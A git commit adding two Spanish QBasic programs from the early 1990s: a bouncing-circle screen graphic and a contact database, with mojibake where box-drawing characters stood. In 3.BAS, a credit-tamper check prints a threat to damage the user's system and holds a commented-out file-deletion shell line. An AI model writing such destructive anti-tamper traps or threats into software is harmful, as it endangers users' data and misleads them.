First commit ~0,10

This commit is contained in:
2021-09-03 17:42:07 +02:00
commit 474d98379e
57 changed files with 16968 additions and 0 deletions

210
BAS/3.BAS Normal file
View File

@ -0,0 +1,210 @@
'Generador de un reloj digital en pantalla'
DEFINT A-Z
DIM SHARED P(6), A, veces
DIM OldX1(130), OldY1(130), OldX2(130), OldY2(130), OldX3(130), OldY3(130), OldX4(130), OldY4(130), OldX5(130), OldY5(130), OldTipo(100), OldX6(100), OldY6(100), Pt(16)
RANDOMIZE TIMER
X(1) = 400: Y(1) = 175
X(2) = 400: Y(2) = 175
X(3) = 400: Y(3) = 175
X(4) = 400: Y(4) = 175
X(5) = 400: Y(5) = 175
X(6) = 400: Y(5) = 175
Pt(1) = 1
Pt(2) = 1
Pt(3) = 1
Pt(4) = 1
Pt(5) = 1
Pt(6) = 1
mir$ = "Lineas ( Jos<6F> David Guill<6C>n 15/04/94 )"
IF MID$(mir$, 13, 1) <> "<22>" THEN PRINT " Programa modificado 1": GOTO errormo
IF MID$(mir$, 26, 1) <> "<22>" THEN PRINT " Programa modificado 2": GOTO errormo
P(1) = 0
P(2) = 80
P(3) = 200
P(4) = 280
P(5) = 400
P(6) = 440
P(1) = 0
P(2) = 75
P(3) = 195
P(4) = 275
P(5) = 395
P(6) = 435
SCREEN 9
'***************************************************
'* GRAFICO LINEAL **********************************
'***************************************************
Coor = 1
DO
salida = 0
'IF Pt(4) = 1 THEN M(4) = INT(RND * 8) + 1
IF Pt(3) = 1 THEN M(3) = INT(RND * 8) + 1
IF Pt(2) = 1 THEN M(2) = INT(RND * 8) + 1
IF Pt(5) = 1 THEN M(5) = INT(RND * 8) + 1
IF Pt(6) = 1 THEN M(5) = INT(RND * 8) + 1
IF Pt(1) = 1 THEN M(1) = INT(RND * 8) + 1
Pt(1) = 0
Pt(2) = 0
Pt(3) = 0
Pt(4) = 0
Pt(5) = 0
Pt(6) = 0
qwert = qwert + 1
IF qwert = 7 THEN qwert = 1
IF Cont = 1 THEN M(6) = INT(RND * 7) + 1: M(6) = M(qwert)
DO
Vez = Vez + 1
Vz = Vz + 1
IF Vz >= 30 THEN Vz = 1
IF Vez >= 30 THEN Vez = 1
FOR Coor = 1 TO 6
SELECT CASE M(Coor)
CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) - 1 ELSE X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) - 1
CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 1 ELSE Y(Coor) = Y(Coor) - 1
CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) - 1 ELSE X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) - 1
CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1 ELSE X(Coor) = X(Coor) - 1
CASE 5: M(Coor) = INT(RND * 8) + 1
CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 1 ELSE Y(Coor) = Y(Coor) + 1
CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) + 1 ELSE X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) + 1
CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1 ELSE X(Coor) = X(Coor) + 1
CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) + 1 ELSE X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) + 1
END SELECT
Cont = 0
IF X(Coor) >= 640 THEN
X(Coor) = 640: M(Coor) = INT(RND * 11) - 2
END IF
IF X(Coor) <= 0 THEN
X(Coor) = 0: M(Coor) = INT(RND * 8) + 1
END IF
IF Y(Coor) >= 350 THEN
Y(Coor) = 350: M(Coor) = INT(RND * 10) - 1
END IF
IF Y(Coor) <= 0 THEN
Y(Coor) = 0: M(Coor) = INT(RND * 10) - 1
END IF
OldX1(1) = X(1)
OldX2(1) = X(2)
OldX3(1) = X(3)
OldX4(1) = X(4)
OldX5(1) = X(5)
OldX6(1) = X(6)
OldY1(1) = Y(1)
OldY2(1) = Y(2)
OldY3(1) = Y(3)
OldY4(1) = Y(4)
OldY5(1) = Y(5)
OldY6(1) = Y(6)
NEXT
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1
IF Vez1 >= 16 THEN Vez1 = 1
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1
IF Vz1 >= 16 THEN Vz1 = 1
'LINE (X(1), Y(1))-(X(2), Y(2)), Vez1
'LINE (X(2), Y(2))-(X(3), Y(3)), Vez1
'LINE (X(3), Y(3))-(X(4), Y(4)), Vez1
'
'LINE (X(4), Y(4))-(X(5), Y(5)), Vez1
'LINE (X(5), Y(5))-(X(1), Y(1)), Vez1
CIRCLE (X(1), Y(1)), 5, Vz1: ', , , Tipo
CIRCLE (X(2), Y(2)), 5, Vz1: ', , , Tipo
CIRCLE (X(3), Y(3)), 5, Vz1: ', , , Tipo
CIRCLE (X(4), Y(4)), 5, Vz1: ', , , Tipo
CIRCLE (X(5), Y(5)), 5, Vz1: ', , , Tipo
CIRCLE (X(6), Y(6)), 5, Vz1: ', , , Tipo
d = 70
A = d + 1
WHILE A >= 2
A = A - 1
OldX1(A) = OldX1(A - 1)
OldY1(A) = OldY1(A - 1)
OldX2(A) = OldX2(A - 1)
OldY2(A) = OldY2(A - 1)
OldX3(A) = OldX3(A - 1)
OldY3(A) = OldY3(A - 1)
OldX4(A) = OldX4(A - 1)
OldY4(A) = OldY4(A - 1)
OldX5(A) = OldX5(A - 1)
OldY5(A) = OldY5(A - 1)
OldX6(A) = OldX6(A - 1)
OldY6(A) = OldY6(A - 1)
OldTipo(A) = OldTipo(A - 1)
WEND
CIRCLE (OldX1(d), OldY1(d)), 5, 0
CIRCLE (OldX2(d), OldY2(d)), 5, 0
CIRCLE (OldX3(d), OldY3(d)), 5, 0
CIRCLE (OldX4(d), OldY4(d)), 5, 0
CIRCLE (OldX5(d), OldY5(d)), 5, 0
CIRCLE (OldX6(d), OldY6(d)), 5, 0
'
'
'
' LINE (OldX1(d), OldY1(d))-(OldX2(d), OldY2(d)), 0
' LINE (OldX2(d), OldY2(d))-(OldX3(d), OldY3(d)), 0
' LINE (OldX3(d), OldY3(d))-(OldX4(d), OldY4(d)), 0
'
' LINE (OldX4(d), OldY4(d))-(OldX5(d), OldY5(d)), 0
' LINE (OldX5(d), OldY5(d))-(OldX1(d), OldY1(d)), 0
LOOP WHILE salida <> 1
salida = 0
LOOP
'***************************************************
'* GRAFICOS DE PRUEBA ******************************
'***************************************************
errormo:
CLS
COLOR 15, 0
PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT
PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT
PRINT " los creditos ajenos a <20>l. Su autor a protegido el sistema por ello": PRINT
PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT
PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT
PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : "
PRINT " (S)istema (B)loquear (S/B)"
'SHELL "Del. >nul"
SYSTEM
END
grap:

548
BAS/BD.BAS Normal file
View File

@ -0,0 +1,548 @@
REM Versi<73>n 3.0 en Qbasic de Catalogo (c)
principiodelprincipio:
ON ERROR GOTO corrector
KEY OFF
pp:
CLEAR
DIM lec$(12), lot$(12), t$(50), fet$(50), a$(50), tele$(50)
KEY(1) ON
KEY(2) ON
KEY(3) ON
ON KEY(1) GOSUB help
ON KEY(2) GOSUB impr
ON KEY(3) GOSUB finp
CLS
GOSUB menu1
GOSUB cargachar
COLOR 1, 7
l = 1
GOSUB secuencia
espera:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube
ON KEY(14) GOSUB baja
espera3:
i$ = INKEY$
IF i$ = "" THEN GOTO espera3
IF i$ = CHR$(13) THEN GOTO ejecuta
IF i$ = CHR$(27) THEN GOSUB help
GOTO espera3
sube:
ant = l
IF l = 1 THEN l = 5 ELSE l = l - 1
GOSUB secuencia
RETURN
baja:
ant = l
IF l = 6 THEN l = 1 ELSE l = l + 1
GOSUB secuencia
RETURN
secuencia:
IF l = -1 THEN l = 5
IF l = 6 THEN l = 1
IF ant = 0 THEN ant = 1
COLOR 7, 1, 1
LOCATE 2 * ant, 2: PRINT lot$(ant)
COLOR 4, 7
LOCATE 2 * l, 2: PRINT lec$(l): RETURN
END
ejecuta:
KEY(11) OFF
KEY(14) OFF
KEY(2) OFF
KEY(1) OFF
COLOR 7, 1, 1
ON l GOTO ip, mp, sp, bp, c
END
ip:
entrada = 0: jk = 0
nom$ = "": ape$ = "": cal$ = "": num$ = "": pis$ = "": let$ = "": tel$ = ""
GOSUB menu2
OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70
FOR x = 1 TO LOF(1) / 70
jk = jk + 1
FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$
GET #1, x
IF nom$ = " " THEN entrada = jk: GOTO ent
NEXT x
entrada = jk + 1
ent:
CLOSE #1
IF entrada = 0 THEN entrada = 1
LOCATE 12, 47: PRINT entrada
pieza = 0
empi:
a$ = "": b$ = "": c$ = "": d$ = ""
IF pieza <> 3 THEN LOCATE 12, 55: PRINT STRING$(22, " ")
lon = 21: lin = 14: col = 11: tipo$ = " ..z": origen$ = nom$: GOSUB limlin: nom$ = texto$
IF nom$ <> " " AND pieza = 3 THEN a$ = nom$: k = 1: RETURN
IF pieza = 3 THEN GOTO saltito
IF nom$ = " " THEN GOTO principiodelprincipio
saltito:
lon = 31: lin = 14: col = 45: tipo$ = " ..z": origen$ = ape$: GOSUB limlin: ape$ = texto$
IF ape$ <> " " AND pieza = 3 THEN b$ = ape$: k = 2: RETURN
IF pieza = 3 THEN GOTO salto
lon = 21: lin = 16: col = 11: tipo$ = " ..z": origen$ = cal$: GOSUB limlin: cal$ = texto$
lon = 4: lin = 16: col = 38: tipo$ = "0..9": origen$ = num$: GOSUB limlin: num$ = texto$
lon = 3: lin = 16: col = 50: tipo$ = " ..z": origen$ = pis$: GOSUB limlin: pis$ = texto$
lon = 4: lin = 16: col = 62: tipo$ = " ..z": origen$ = let$: GOSUB limlin: let$ = texto$
salto:
lon = 18: lin = 18: col = 14: tipo$ = " ..z": origen$ = loc$: GOSUB limlin: loc$ = texto$
IF loc$ <> " " AND pieza = 3 THEN c$ = loc$: k = 3: RETURN
lon = 14: lin = 18: col = 45: tipo$ = " ..z": origen$ = pro$: GOSUB limlin: pro$ = texto$
IF pro$ <> " " AND pieza = 3 THEN d$ = pro$: k = 4: RETURN
IF pieza = 3 THEN pieza = 0: RETURN
lon = 11: lin = 18: col = 66: tipo$ = "0..9": origen$ = cod$: GOSUB limlin: cod$ = texto$
lon = 18: lin = 20: col = 14: tipo$ = " ..z": origen$ = tel$: GOSUB limlin: tel$ = texto$
lon = 12: lin = 22: col = 20: tipo$ = " ..z": origen$ = cpu$: GOSUB limlin: cpu$ = texto$
lon = 6: lin = 22: col = 39: tipo$ = " ..z": origen$ = ram$: GOSUB limlin: ram$ = texto$
lon = 8: lin = 22: col = 51: tipo$ = " ..z": origen$ = tg$: GOSUB limlin: tg$ = texto$
lon = 12: lin = 22: col = 66: tipo$ = " ..z": origen$ = hd$: GOSUB limlin: hd$ = texto$
LOCATE 12, 60: PRINT "<22>Todo correcto?"
pr:
i$ = INKEY$
IF i$ = "" THEN GOTO pr
IF i$ = "S" OR i$ = "s" THEN GOTO cont ELSE GOTO empi
cont:
OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70
FIELD #1, 21 AS nom2$, 31 AS ape2$, 18 AS TEL2$
LSET nom2$ = nom$: LSET ape2$ = ape$: LSET TEL2$ = tel$
IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada
CLOSE #1
OPEN "fich2.dat" FOR RANDOM AS #1 LEN = 75
FIELD #1, 21 AS cal2$, 4 AS NUM2$, 3 AS PIS2$, 4 AS LET2$, 18 AS loc2$, 14 AS pro2$, 11 AS cod2$
LSET cal2$ = cal$: LSET NUM2$ = num$: LSET PIS2$ = pis$: LSET LET2$ = let$: LSET loc2$ = loc$: LSET pro2$ = pro$: LSET cod2$ = cod$
IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada
CLOSE #1
OPEN "fich3.dat" FOR RANDOM AS #1 LEN = 38
FIELD #1, 12 AS cpu2$, 6 AS ram2$, 8 AS tg2$, 12 AS hd2$
LSET cpu2$ = cpu$: LSET ram2$ = ram$: LSET tg2$ = tg$: LSET hd2$ = hd$
IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada
CLOSE #1
IF valor = 3 THEN RETURN
LOCATE 12, 55: PRINT "<22>Seguir introduciendo?"
we:
i$ = INKEY$
IF i$ = "" THEN GOTO we
IF i$ = "S" OR i$ = "s" THEN GOTO ip ELSE GOTO principiodelprincipio
ep:
GOSUB menu2
LOCATE 12, 34: PRINT "Utilice + y - para ver las fichas"
k = 0
mirp:
lf = 0
CLOSE #1, #2, #3
OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70
OPEN "fich2.dat" FOR RANDOM AS #2 LEN = 75
OPEN "fich3.dat" FOR RANDOM AS #3 LEN = 38
lf = 0
'DO WHILE lf <> LOF(1) / 70 + 1
vez = 1
DO
pro:
COLOR 7, 1, 1: LOCATE 12, 75: PRINT " "
IF lf = 0 THEN lf = 1
FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$
FIELD #2, 21 AS cal$, 4 AS num$, 3 AS pis$, 4 AS let$, 18 AS loc$, 14 AS pro$, 11 AS cod$
FIELD #3, 12 AS cpu$, 6 AS ram$, 8 AS tg$, 12 AS hd$
GET #1, lf
GET #2, lf
GET #3, lf
g = 0
IF k = 1 AND UCASE$(RTRIM$(LTRIM$(a$))) <> UCASE$(MID$(nom$, 1, LEN(RTRIM$(LTRIM$(a$))))) THEN GOSUB pw
IF k = 2 AND UCASE$(RTRIM$(LTRIM$(b$))) <> UCASE$(MID$(ape$, 1, LEN(RTRIM$(LTRIM$(b$))))) THEN GOSUB pw
IF k = 3 AND UCASE$(RTRIM$(LTRIM$(c$))) <> UCASE$(MID$(loc$, 1, LEN(RTRIM$(LTRIM$(c$))))) THEN GOSUB pw
IF k = 4 AND UCASE$(RTRIM$(LTRIM$(d$))) <> UCASE$(MID$(pro$, 1, LEN(RTRIM$(LTRIM$(d$))))) THEN GOSUB pw
IF g = 1 THEN GOTO pro
IF nom$ = " " AND r = 0 THEN lf = lf + 1: GOTO pro
IF nom$ = " " AND r = 1 THEN lf = lf - 1: GOTO pro
vez = 0
COLOR 14
LOCATE 14, 11: PRINT nom$
LOCATE 14, 45: PRINT ape$
LOCATE 16, 11: PRINT cal$
LOCATE 16, 38: PRINT num$
LOCATE 16, 50: PRINT pis$
LOCATE 16, 62: PRINT let$
LOCATE 18, 14: PRINT loc$
LOCATE 18, 45: PRINT pro$
LOCATE 18, 66: PRINT cod$
LOCATE 20, 14: PRINT tel$
LOCATE 22, 20: PRINT cpu$
LOCATE 22, 39: PRINT ram$
LOCATE 22, 51: PRINT tg$
LOCATE 22, 66: PRINT hd$
COLOR 7, 1, 1
nom$ = nom$: ape$ = ape$: cal$ = cal$: num$ = num$: pis$ = pis$: let$ = let$: loc$ = loc$: pro$ = pro$
cod$ = cod$: tel$ = tel$: cpu$ = cpu$: ram$ = ram$: tg$ = tg$: hd$ = hd$
tipo = 0
COLOR 5, 1, 1: LOCATE 12, 75: PRINT "+ -": COLOR 7, 1, 1
t:
w$ = INKEY$: IF w$ = "" THEN GOTO t
IF w$ = "+" THEN lf = lf + 1: r = 0
IF w$ = "-" THEN lf = lf - 1: r = 1
IF w$ = CHR$(27) THEN GOTO principiodelprincipio
IF w$ = CHR$(13) AND valor = 3 THEN CLOSE #1, #2, #3: RETURN
IF w$ = CHR$(13) AND valor = 2 THEN CLOSE #1, #2, #3: RETURN
IF lf > LOF(1) / 70 THEN lf = lf - 1: GOTO t
IF lf = 0 OR lf = -1 THEN lf = 1: GOTO t
IF tipo = 1 THEN GOTO pro
LOOP
CLOSE #1, #2, #3
END
pw:
IF vez = 1 AND r = 0 THEN lf = lf + 1: g = 1
IF vez = 1 AND r = 1 THEN lf = lf - 1: g = 1
IF g = 0 AND r = 0 THEN lf = lf + 1
IF g = 0 AND r = 1 THEN lf = lf - 1
IF lf > LOF(1) / 70 AND vez = 1 THEN GOTO filenotfound
IF lf > LOF(1) / 70 THEN lf = lf - 1: GOTO t
IF lf = 0 OR lf = -1 THEN lf = 1: GOTO t
'IF r = 0 THEN lf = lf + 1
'IF r = 1 THEN lf = lf - 1
tipo = 1
g = 1
RETURN
END
mp:
valor = 0
GOSUB menu2
valor = 3
LOCATE 12, 34: PRINT "Use + o - y <<3C><> para editar ficha "
GOSUB mirp
GOSUB empi
LOCATE 12, 34: PRINT "<22>Desea modificar otra ficha? "
r:
i$ = INKEY$: IF i$ = "" THEN GOTO r
IF i$ = "S" OR i$ = "s" THEN GOTO mp ELSE GOTO principiodelprincipio
bp:
valor = 0
GOSUB menu2
valor = 3
LOCATE 12, 34: PRINT "Use + o - y <<3C><> para borrar ficha "
GOSUB mirp
nom$ = " ": ape$ = " ": cal$ = " ": num$ = " ": pis$ = " ": let$ = " ": loc$ = " ": pro$ = " "
cod$ = " ": tel$ = " ": cpu$ = " ": ram$ = " ": tg$ = " ": hd$ = " "
LOCATE 12, 34: PRINT "Pulse 'S' si desea eliminarla "
r3:
i$ = INKEY$: IF i$ = "" THEN GOTO r3
IF i$ = "S" OR i$ = "s" THEN GOTO po ELSE GOTO principiodelprincipio
po:
GOSUB cont
LOCATE 12, 34: PRINT "<22>Desea eliminar otra ficha? "
r2:
i$ = INKEY$: IF i$ = "" THEN GOTO r2
IF i$ = "S" OR i$ = "s" THEN GOTO bp ELSE GOTO principiodelprincipio
finentrada:
END
impr:
REM FICHERO PARA IMPRIMIR
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Esta usd. en la secci<63>n de impresion."
LOCATE 15, 34: PRINT "Cerciorese de que la impresora este"
LOCATE 16, 34: PRINT "encendida y de que tenga papel."
LOCATE 18, 34: PRINT " Pulse una tecla..."
N:
q$ = INKEY$: IF q$ = "" THEN GOTO N
IF q$ = CHR$(27) THEN RUN
FOR a = 14 TO 18: LOCATE a, 34: PRINT STRING$(38, " "): NEXT
LOCATE 15, 20: PRINT "Elija modo de impresion:"
LOCATE 17, 25: PRINT "(a) Lista simple"
LOCATE 18, 25: PRINT "(b) Lista completa"
hn:
q$ = INKEY$: IF q$ = "" THEN GOTO hn
IF q$ = CHR$(27) THEN RUN
IF q$ = "A" OR q$ = "a" THEN GOTO ls
IF q$ = "B" OR q$ = "b" THEN GOTO lc
GOTO hn
ls:
OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70
FOR x = 1 TO LOF(1) / 70
FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$
GET #1, x
IF nom$ = " " THEN GOTO continua
LPRINT ape$ + ", " + nom$ + " " + tel$
b = b + 1: IF b = 50 THEN GOSUB finlista
continua:
NEXT x
CLOSE #1
RUN
finlista:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel"
LOCATE 15, 34: PRINT " Pulse entonces una tecla para "
LOCATE 16, 34: PRINT " continuar listando."
COLOR 7, 1, 1
m:
IF INKEY$ = "" THEN GOTO m
LOCATE 14, 34: PRINT " "
LOCATE 15, 34: PRINT " "
LOCATE 16, 34: PRINT " "
b = 0: RETURN
lc:
valor = 2
COLOR 7, 1, 1
GOSUB menu2
LOCATE 12, 34: PRINT "Seleccione ficha a imprimir... "
GOSUB mirp
LPRINT " Base de Datos, JD... v<>1.0 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ";
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>";
LPRINT "<22> <20><>";
LPRINT "<22> Nombre: " + nom$ + " Apellidos: " + ape$ + " <20><>";
LPRINT "<22> <20><>";
LPRINT "<22> Calle: " + cal$ + " N<>: " + num$ + " Piso: " + pis$ + " Letra: " + let$ + " <20><>";
LPRINT "<22> <20><>";
LPRINT "<22> Localidad: " + loc$ + " Provincia: " + pro$ + " C.P: " + cod$ + " <20><>";
LPRINT "<22> <20><>";
LPRINT "<22> Tel<65>fono: " + tel$ + " <20><>";
LPRINT "<22> <20><>";
LPRINT "<22> Ordenador, CPU: " + cpu$ + " RAM: " + ram$ + " TG: " + tg$ + " HD: " + hd$ + " <20><>";
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ";
LPRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
LOCATE 12, 34: PRINT "Cuando deje de imprimir, pulse una tecla"
SLEEP
RUN
sp:
valor = 0: pieza = 3
GOSUB menu2
LOCATE 12, 34: PRINT "Introduzca parte a buscar... "
lili:
GOSUB empi
IF pieza = 0 THEN pieza = 3: GOTO lili
GOTO mirp
RUN
filenotfound:
LOCATE 12, 34: COLOR 4, 1, 1: PRINT "Ficha no encontrada "
COLOR 7, 1, 1
sl: IF INKEY$ = "" THEN GOTO sl
GOTO sp
END
c:
COLOR 7, 1, 1
LOCATE 14, 33: PRINT " (c) B A S E de D A T O S "
LOCATE 16, 33: PRINT " Pantallas y programa ... "
COLOR 12
LOCATE 18, 33: PRINT " Jos<6F> David Guill<6C>n "
LOCATE 19, 33: PRINT " c/ Pintor Garcias Ramos n.5 2D "
COLOR 7, 1, 1
LOCATE 21, 33: PRINT "Puede mandar un donativo de 10.000.000"
pause:
IF INKEY$ = "" THEN GOTO pause
FOR q = 14 TO 22: LOCATE q, 33: PRINT SPC(37); : NEXT q
GOTO principiodelprincipio
END
menu1:
COLOR 7, 1, 1
CLS
PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> Base de Datos <20><> ";
PRINT "<22> Introducir <20> <20> <20> <20><> <20><> v<> 1.0 <20><> ";
PRINT "<22> <20> <20> <20> <20><> <20><> <20><> ";
PRINT "<22> Editar / Modificar <20> <20> <20> <20> <20><> F1 Help <20><> ";
PRINT "<22> <20> <20> <20> <20> <20><> <20><> F2 Imprimir <20><> ";
PRINT "<22> Buscar <20> <20> <20> <20> <20><> ܳ<> F3 Exit to DOS <20><><EFBFBD> ";
PRINT "<22> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
PRINT "<22> Eliminar <20> <20><><EFBFBD><EFBFBD>on<6F>line۰<65>lf۰<66><DBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
PRINT "<22> <20> Jos<6F> David Guill<6C>n '93 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
PRINT "<22> - Creditos - <20> "
PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ";
PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>";
PRINT "<22> <20><>"
PRINT "<22> <20><>"
PRINT "<22> <20><>"
PRINT "<22> <20><>"
PRINT "<22> <20><>"
PRINT "<22> <20><>"
PRINT "<22> <20><>"
PRINT "<22> <20><>"
PRINT "<22> <20><>"
PRINT "<22> <20><>"
